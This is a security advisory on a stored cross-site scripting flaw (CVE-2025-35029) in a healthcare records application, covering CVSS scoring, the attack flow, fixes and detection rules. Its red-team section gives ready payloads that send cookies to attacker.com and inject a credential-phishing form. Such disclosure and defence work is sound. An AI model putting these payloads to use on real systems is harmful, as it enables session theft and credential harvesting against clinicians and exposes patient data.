CVE-2025-35029

Executive Summary

CVE-2025-35029 is a stored cross-site scripting (XSS) vulnerability in Medical Informatics Engineering Enterprise Health, a healthcare information system. An authenticated attacker can inject arbitrary JavaScript into the 'Demographic Information' page. When a victim (e.g., another clinician or administrator) accesses this page, the malicious script executes in their browser context. The vulnerability has a low CVSS score of 3.5 due to the requirement for authentication and user interaction, but in a healthcare environment, the impact on patient data confidentiality and integrity can be severe. The vendor has released a fix as of 2025-03-14, but no specific patch version or commit details are publicly available.

Supply Chain & Package Security

This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary healthcare application. Supply chain risk is limited to the vendor's update distribution and the integrity of the patch.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – the attacker must be authenticated.
• User Interaction (UI): Required – the victim must access the malicious page.
• Scope (S): Unchanged – the exploit stays within the same security authority.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): None – no denial of service.

Threat Level: Low (CVSS 3.5). However, in a healthcare context, even low-severity XSS can lead to patient data theft, session hijacking, or lateral movement.

Deep Dive & Mechanics

The vulnerability resides in the 'Demographic Information' page of Enterprise Health. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in a web page. An authenticated attacker can inject HTML/JavaScript into fields such as patient name, address, or other demographic data.

Attack Flow:

1. Attacker authenticates to Enterprise Health.
2. Attacker navigates to the 'Demographic Information' page for a patient.
3. Attacker injects a payload like <script>alert('XSS')</script> into a text field.
4. The application stores the payload in the database without sanitization.
5. When a victim (e.g., another user) views the same patient's demographic information, the payload executes in their browser.

Root Cause: Lack of output encoding or input validation on the demographic data fields.

Vulnerable vs. Patched Code

No specific code snippets are available. The vulnerability is fixed by implementing proper output encoding (e.g., HTML entity encoding) for all user-supplied data rendered on the 'Demographic Information' page. The patch likely involves:

• Vulnerable: Direct rendering of user input without sanitization.

  // Vulnerable pseudo-code
  document.getElementById('patientName').innerHTML = userInput;
  

• Patched: Using safe methods like textContent or encoding.

  // Patched pseudo-code
  document.getElementById('patientName').textContent = userInput;
  

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for Enterprise Health.
• Network access to the application.

Exploitation Steps:

1. Log in to Enterprise Health.
2. Navigate to a patient's 'Demographic Information' page.
3. Inject a payload into a text field (e.g., patient name):

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the changes.
5. Wait for a victim to view the same patient's demographics.

Payload Examples:

• Session hijacking: <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
• Phishing: <script>document.body.innerHTML='<form action="https://attacker.com/login" method="POST"><input name="user"><input type="password" name="pass"><input type="submit"></form>'</script>

Blue Team

Detection:

• Monitor for unusual JavaScript execution in the browser.
• Look for outbound connections to unknown domains from the application.
• Review logs for suspicious input patterns in demographic fields.

Prevention:

• Ensure the application uses Content Security Policy (CSP) headers.
• Implement input validation and output encoding.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Hunting:

• Search logs for patterns like <script, onerror=, javascript: in demographic fields.
• Correlate with user sessions that accessed the demographic page and then made outbound requests.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP/HTTPS requests to unknown or suspicious domains from the Enterprise Health server.
  • Requests containing document.cookie or fetch in the URL parameters.
• Host:
  • Unexpected JavaScript files or scripts in the browser cache.
  • Modified patient demographic data containing HTML/JavaScript.
• Logs:
  • Application logs showing <script> tags or encoded XSS payloads in demographic fields.
  • Web server logs with %3Cscript%3E or similar URL-encoded patterns.

Detection Engineering

YARA Rule

rule CVE_2025_35029_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Enterprise Health Demographic Information"
        author = "Valters IT"
        date = "2025-03-15"
        cve = "CVE-2025-35029"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
        $xss5 = "onfocus=" nocase
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Enterprise Health Demographic Information
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in demographic fields of Enterprise Health
author: Valters IT
date: 2025-03-15
logsource:
    category: application
    product: enterprise_health
detection:
    selection:
        field: "Demographic Information"
        content|contains:
            - "<script"
            - "onerror="
            - "javascript:"
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-35029 Stored XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the vendor patch released on 2025-03-14.
2. If patching is not possible, implement a Web Application Firewall (WAF) rule to block XSS payloads.
3. Restrict access to the 'Demographic Information' page to only necessary users.

Long-Term Fixes:

• Implement Content Security Policy (CSP) headers to prevent inline script execution.
• Enforce input validation and output encoding for all user-supplied data.
• Conduct regular security code reviews and penetration testing.

Workarounds:

• Disable JavaScript in the browser for the Enterprise Health application (not recommended).
• Use a reverse proxy to sanitize responses.

Valters IT
Securing Healthcare, One Patch at a Time